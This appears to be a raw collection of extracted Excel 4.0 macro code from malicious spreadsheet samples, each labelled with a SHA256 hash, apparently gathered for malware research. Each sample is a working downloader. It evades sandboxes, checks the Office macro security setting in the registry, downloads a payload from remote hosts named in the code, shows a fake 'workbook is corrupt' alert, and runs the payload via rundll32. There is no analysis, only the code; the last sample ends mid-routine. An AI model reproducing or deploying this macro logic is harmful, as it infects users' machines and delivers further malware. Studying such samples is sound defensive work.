=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"http://fcowhcwsb.space/erg4ewr1","c:\Users\Public\b7gf5ef.html",0,0)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)M115
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\b7gf5ef.html,DllRegisterServer",0,5)N150N151N152N153N154N155N156N157N158N159N160N161N162N163N164
=CLOSE(FALSE)

SHA256: 145217e66d1ebecad8f32ca5bc7509bdc54de95a7d78c920265ae83509dccb37
7ZCMO74AQP
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://assemble.sg/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0)
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://cworld.top/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\c6sga5ef.html,DllRegisterServer",0,5)
=CLOSE(FALSE)

SHA256: 15275c0f7feb25bbd1c64d37ea7489849579bca9565239c82cbc6e74c09268fa
bqMI30Wiy8
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://assemble.sg/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0)
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://cworld.top/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\c6sga5ef.html,DllRegisterServer",0,5)
=CLOSE(FALSE)

SHA256: 166e74a958e76ee50f889b092efa506e3b659bed1c3d82dfbcc95b90792a6746
FittEFrAdI
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))A36A37A38A39A41A42
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)D191D192D193D194D195D196D197D198D199D200D201D202D203D204D205D206D207D208D209D210
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)G20G21G22
=FREAD(R[-2]C, 255)
=FCLOSE(R[-I15]C)
=FILE.DELETE("c:\users\public\1.reg")J39J41J42J43J44
=IF(ISNUMBER(SEARCH("0001",R[-K37]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://efbzfyvsb.website/f2f23","c:\Users\Public\b7gf5yk.html",0,0)L132L133L134L135L137L138L139
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)M114
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\b7gf5yk.html,DllRegisterServer",0,5)N149N150N151N152N153N154N155N156N157N158N159N160N161N162N163
=CLOSE(FALSE)

SHA256: 170b4ddc50e479fc45194bf011b125de4883f8dc7dd40b8fa2d5515504abe20d
Kfu7SLR0IM
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://assemble.sg/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0)
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://cworld.top/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\c6sga5ef.html,DllRegisterServer",0,5)
=CLOSE(FALSE)

SHA256: 17c22e5fb4e7d9833ad3a3bb99d2dbceec35d65ca3df2f2f594447a6d43256cf
wu93ecGFih
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))A36A37A38A39A41A42
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)D191D192D193D194D195D196D197D198D199D200D201D202D203D204D205D206D207D208D209D210
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)G20G21G22
=FREAD(R[-2]C, 255)
=FCLOSE(R[-I15]C)
=FILE.DELETE("c:\users\public\1.reg")J39J41J42J43J44
=IF(ISNUMBER(SEARCH("0001",R[-K37]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://efbzfyvsb.website/f2f23","c:\Users\Public\b7gf5yk.html",0,0)L132L133L134L135L137L138L139
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)M114
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\b7gf5yk.html,DllRegisterServer",0,5)N149N150N151N152N153N154N155N156N157N158N159N160N161N162N163
=CLOSE(FALSE)

SHA256: 17f0df4bcdecef88fc634fee9ec560cd81e935b3bdab569ce58536039074da73
iUMcuYCtgM
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://assemble.sg/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0)
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://cworld.top/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\c6sga5ef.html,DllRegisterServer",0,5)
=CLOSE(FALSE)

SHA256: 17f7fba52659e49bbcd788022bc079ed9a0028680c5ce9cb09b6ccc148cf7d9b
AZUGq26uHL
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://ddfspwxrb.club/fb2g424g","c:\Users\Public\csg75ef.html",0,0)
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://ddfspwxrb.club/fb2g424g","c:\Users\Public\bwep5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\csg75ef.html,DllRegisterServer",0,5)
=CLOSE(FALSE)

SHA256: 1a0e08248e3a6e053afc293482b48f1c2fe345cd863ed63cb279599ce8a099b8
voU4d5XpJq
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://assemble.sg/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0)
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://cworld.top/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\c6sga5ef.html,DllRegisterServer",0,5)
=CLOSE(FALSE)

SHA256: 1aecc59781e07fe93184cbea2dd82738ccd76045d6eda669329afa151aab0f17
jSKc0lq44Y
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://assemble.sg/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0)
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://cworld.top/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\c6sga5ef.html,DllRegisterServer",0,5)
=CLOSE(FALSE)

SHA256: 1c3cadbdb6d9f6ddd42dac0e52a8f657e567b6e9edcd01bcce264fe46760aca5
nFH9bnd4EH
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://assemble.sg/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0)
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://cworld.top/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\c6sga5ef.html,DllRegisterServer",0,5)
=CLOSE(FALSE)

SHA256: 1ecf507dc0a49cd73615cfc22cbc8ff62526b22de1168ce99f2657fe0dadb788
TfD5aFMSWc
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))B38B39B40B42B43
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)D190D191D192D193D194D195D196D197D198D199D200D201D202D203D204D205D206D207D208D209D210D211
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)H19H20H22H23
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)K54K55K56K57K58K60K61
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"http://fcowhcwsb.space/erg4ewr1","c:\Users\Public\b7gf5ef.html",0,0)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)M115
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\b7gf5ef.html,DllRegisterServer",0,5)N150N151N152N153N154N155N156N157N158N159N160N161N162N163N164
=CLOSE(FALSE)

SHA256: 1f54709a54ae7300279115188cf9015dad5146e59b6306e69026dce75c74e115
Ahczh7gQND
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))B36B37B39B40B41B42B43
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)D184D185D186D187D188D189D190D191D192D193D194D195D196D197D198D199D200D201D202D203D204D205D206D207D208D209D210D211
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)H21H22H24
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://greentec-automation.com/wp-crun.php","c:\Users\Public\csg75ef.html",0,0)L124L125L126L127L129L130L131L132L133L134L136L137L138L139
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://narensyndicate.com/wp-crun.php","c:\Users\Public\bwep5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)N115
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\csg75ef.html,DllRegisterServer",0,5)O149O150O151O152O153O154O155O156O157O158O159O160O161O162O163O164
=CLOSE(FALSE)

SHA256: 1fad7907d00ac5c87fcb492de8273d41fbef51f8d8b1364f75e81a56577841ee
uIMssE6kx6
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://assemble.sg/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0)
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://cworld.top/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\c6sga5ef.html,DllRegisterServer",0,5)
=CLOSE(FALSE)

SHA256: 1ff80c5aeff03dc83112cddf2e807c281f09a09cdd1c53de68334ee04d97d987
lvXQLgbvza
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://assemble.sg/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0)
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://cworld.top/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\c6sga5ef.html,DllRegisterServer",0,5)
=CLOSE(FALSE)

SHA256: 22bb1293cfd109d0b8bd44d410f379deb8c4d02b095552b8954c6a75e5bc9ae9
NwdFvU2zLF
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))A36A37A38A39A41A42
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)D191D192D193D194D195D196D197D198D199D200D201D202D203D204D205D206D207D208D209D210
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)G20G21G22
=FREAD(R[-2]C, 255)
=FCLOSE(R[-I15]C)
=FILE.DELETE("c:\users\public\1.reg")J39J41J42J43J44
=IF(ISNUMBER(SEARCH("0001",R[-K37]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://efbzfyvsb.website/f2f23","c:\Users\Public\b7gf5yk.html",0,0)L132L133L134L135L137L138L139
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)M114
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\b7gf5yk.html,DllRegisterServer",0,5)N149N150N151N152N153N154N155N156N157N158N159N160N161N162N163
=CLOSE(FALSE)

SHA256: 2458eec040213f72bb3ac118c26cb49ceb7f3591d1a534e4533f1ddaf07b49a1
Vg7lBHOb7F
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))A36A37A38A39A41A42
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)D191D192D193D194D195D196D197D198D199D200D201D202D203D204D205D206D207D208D209D210
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)G20G21G22
=FREAD(R[-2]C, 255)
=FCLOSE(R[-I15]C)
=FILE.DELETE("c:\users\public\1.reg")J39J41J42J43J44
=IF(ISNUMBER(SEARCH("0001",R[-K37]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://efbzfyvsb.website/f2f23","c:\Users\Public\b7gf5yk.html",0,0)L132L133L134L135L137L138L139
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)M114
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\b7gf5yk.html,DllRegisterServer",0,5)N149N150N151N152N153N154N155N156N157N158N159N160N161N162N163
=CLOSE(FALSE)

SHA256: 246688f7cf49c8641cca934340e61415a599d0f60d3db7db6e1d95334a760128
pFlDGDPmak
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://assemble.sg/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0)
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://cworld.top/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\c6sga5ef.html,DllRegisterServer",0,5)
=CLOSE(FALSE)

SHA256: 24940237fe63867d76bb6623119d9accf0154e3bb695eb39abb3db9d5dd1478f

SHA256: 249dc12dbaf933345e21e339ab247af3705205954cef78135486c50cd0da87a8
96eRQe3FI5
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://assemble.sg/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0)
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://cworld.top/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\c6sga5ef.html,DllRegisterServer",0,5)
=CLOSE(FALSE)

SHA256: 256bbe555af14dcfe138d8e6ee89bdc12b9e1b1174464697e939c62981876ff2
rQtfOKkVai
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://ddfspwxrb.club/fb2g424g","c:\Users\Public\csg75ef.html",0,0)
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://ddfspwxrb.club/fb2g424g","c:\Users\Public\bwep5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\csg75ef.html,DllRegisterServer",0,5)
=CLOSE(FALSE)

SHA256: 256fa7c39e92a9d5ca30cd499761986eebb5e4a76638000016a040addd1700b6
Piq9dNgHYn
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))A36A37A38A39A41A42
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)D191D192D193D194D195D196D197D198D199D200D201D202D203D204D205D206D207D208D209D210
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)G20G21G22
=FREAD(R[-2]C, 255)
=FCLOSE(R[-I15]C)
=FILE.DELETE("c:\users\public\1.reg")J39J41J42J43J44
